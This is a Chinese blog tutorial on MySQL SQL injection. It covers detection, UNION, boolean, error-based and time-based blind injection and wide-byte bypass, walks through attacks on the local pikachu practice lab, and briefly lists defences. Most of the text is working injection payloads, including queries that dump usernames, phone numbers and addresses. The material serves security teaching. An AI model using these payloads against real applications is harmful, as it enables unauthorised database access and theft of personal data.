网络安全-SQL注入原理及防御SQL注入

目录

 

SQL注入原理

SQL注入条件

基本知识(Mysql)

注释

注入点检测

页面返回正常

页面返回异常

information_schema

常用函数

ORDER BY字段数目查询

UNION 查询

查询所有数据库

查询当前表名

 查询当前列名

查询当前字段值

查询语句

SQL注入技术

Boolean注入攻击

数据库长度

数据库名

Union注入攻击

报错注入攻击

利用updatexml函数

时间注入攻击

数据库长度

 数据库名

堆叠注入注入攻击

内联注入攻击

宽字节注入

SQL注入类型

数字型注入

 注入点判断

字段数确定

查询当前数据库

查询当前表

查询当前列

查询当前字段

字符型注入

判断闭合

获取数据

搜索型注入

xx型注入

注入判断

 "insert/update"注入

"delete注入"

盲注(based on boolean)

盲注(based on time)

宽字节注入

防御SQL注入的方法

使用预编译语句

使用存储过程

检查数据类型

使用安全函数

SQL注入原理

程序员没有遵循代码与数据分离原则,使用户数据作为代码执行。

SQL注入条件

  • 用户可以控制数据的输入。
  • 原本要运行的代码拼接了用户的输入。

基本知识(Mysql)

注释

#或--空格是单行

/**/是内联注释

注入点检测

页面返回正常

and 1=1--+

or 1=2--+

页面返回异常

and 1=2--+

or 1=1--+

information_schema

mysql 5.0之后有这个表,包含数据库的很多信息,常用SCHEMATA、TABLES、COLUMNS。

information_schema

SCHEMATA表存储数据库名,字段为SCHEMA_NAME

TABLES表存储表名及表所属数据库,字段为TABLE_NAME、TABLE_SCHEMA

 COLUMNS表存储列名及所属数据库名、所属表名,字段为COLUMN_NAME、TABLE_SCHEMA、TABLE_NAME

常用函数

  • database()当前使用的数据库名
  • version()mysql版本号

ORDER BY字段数目查询

number从小到大尝试,或采用二分法

order by number

UNION 查询

查询所有数据库

所有数据库,字段数由order by给出(下同),当前的用database()函数即可

UNION SELECT 1,group_concat(schema_name) from information_schema.schemata-–+

查询当前表名

UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 查询当前列名

从上面的结果选择table_name

UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=table_name--+

查询当前字段值

从上面的结果选择column

UNION SELECT 1,group_concat(column1,column1,...) from table_name--+

查询语句

SELECT〈目标列组〉

     FROM〈数据源〉

     [WHERE〈元组选择条件〉]

     [GROUP BY〈分列组〉[HAVING 〈组选择条件〉]]

     [ORDER BY〈排序列1〉〈排序要求1〉 [,…n]];

SQL注入技术

按照sqlmap的分类(BUETSQ)

Boolean注入攻击

构造SQL判断语句,通过查看页面的返回结果来推测SQL判断语句条件是否成立,以此来获取数据库中的数据。

数据库长度

and length(database())=7

使用length函数和database函数,可采用二分法加快查找速度,一般使用脚本或工具进行攻击。

数据库名

mysql substr函数:

substr(str,pos,len);//str:字符串,pos:起始位置,len:截断长度

and substr(database(),1,1)='p'
and ascii(substr(database(),1,1))=112

在使用sqlmap时,有时发现数据库名或表名1个接1个的显示,就是使用这个方法进行暴力破解。后面的演示手工也是做个样子,实际上不会手工,太累了。

Union注入攻击

利用union查询来想要运行的sql语句

报错注入攻击

一般利用floor,updatexml, extractvalue函数。

利用updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

一般使用如下结构,sql是你想运行的sql语句。

updatexml(1,concat(0x7e,(sql),0x7e),1)

concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出sql语句运行后的结果。

sqlmap集成

 sqlmap集成了上述的三种方式,同时还有其他的

时间注入攻击

mysql IF函数

IF(expr,if_true_expr,if_false_expr),根据表达的真假返回第二或第三个表达式的值

mysql Bechmark函数

BENCHMARK(count,expr),重复执行count次表达式expr,返回总时间(单位,秒)。

时间注入攻击不同于Boolean盲注的地方在于利用sleep()、Benchmark()函数让mysql执行时间变长,多结合if函数。

数据库长度

if(length(database()=7),sleep(3),1)

 数据库名

if(substr(database(),1,1)='p',sleep(3),1)

堆叠注入注入攻击

内联注入攻击

宽字节注入

宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义。将' 转义为\',单引号失去作用。因此,我们需要将\给绕过,这样才可以加'号。

\'编码

\编码为%5C,我们一般在地址后添加%df。

绕过\

添加后\变成了汉字,这样就绕过了\。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的,

SQL注入类型

有讲解及一个手工注入靶机实战,使用靶机pikachu,火狐浏览器及插件hackbar v2。

数字型注入

参数为数字,一般是id等。

参数

参数为id和submit,其中id为整型。

猜测sql语句形式为

select userid from users where id = 参数

 注入点判断

id=1 and 1=1&submit=查询
id=1 and 1=2&submit=查询

字段数确定

id=3 order by 3&submit=查询
3时报错

 我就从2开始的,靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。

查询当前数据库

id=1 union select 1,database()&submit=查询
数据库pikachu

查询当前表

由于火狐对hackbar的一些限制,插件无法正常运行sql语句,就使用Navicat了。如果你不是最新版火狐的话可以试一试。

post data应该是这样的

UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询

实际sql语句执行是这样的

查询表

查询当前列

post data应该是这样的

id=1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='member'&submit=查询

实际sql语句执行是这样的

当前列

查询当前字段

post data应该是这样的

id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询

实际sql语句执行是这样的

用户名,手机号,住址

0x3a是冒号的ASCII码

一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。

字符型注入

将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是'或",或者结合()。

判断闭合

标题

获取数据

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2
获取数据库名

后面的和之前的差不多。

搜索型注入

其实也算是字符型注入

搜索一般sql语句如下,

select * from users where username like '%$name'

测试闭合字符
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2
获取所搜索表所有内容

使用'or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。

xx型注入

注入判断

frankyu'判断

我还以为书上没写的呢,其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种。

select * from users where username = ('$name')

不写了,和前面的差不多。

 "insert/update"注入

标题
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'

0x7e是~,结果如下:

数据库

"delete注入"

和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。

盲注(based on boolean)

前面知道有个用户名是vince,输入显示id和email。使用前面的Boolean 注入攻击技术。

vince' and length(database())=7#
没有错误

也就是说条件语句where username='vince' and length(database())=7是True,and连接也就是说数据库长度为7。

vince' and substr(database(),1,1)='p'#
字符
vince' and ascii(substr(database(),1,1))=112#
ascii
vince' and ascii(substr(database(),2,1))=105#

上面是数据库名第二字符'i'的,数据库名出来后再将database()改为select语句去找表名等。

盲注(based on time)

vince' and if(length(database()=7),sleep(3),1)#
3秒后后显示

同样,时间上是写脚本,通过返回的时间长短判断,sqlmap有集成。

宽字节注入

博主数据库编码设置的utf-8,就不演示了,其实除了加一个%df外也没什么特别的地方,也可以使用其他的,sqlmap中有temper脚本进行绕过,使用的是%bf。

tamper脚本

防御SQL注入的方法

使用预编译语句

绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。

使用存储过程

使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。

检查数据类型

例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。

使用安全函数

各个厂商都有一些安全函数,例如,微软SQL安全函数

关于如何进行sql注入及靶机实战,可以参考下方链接。

未完待续...

 更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

猜你喜欢

转载自blog.csdn.net/lady_killer9/article/details/107300079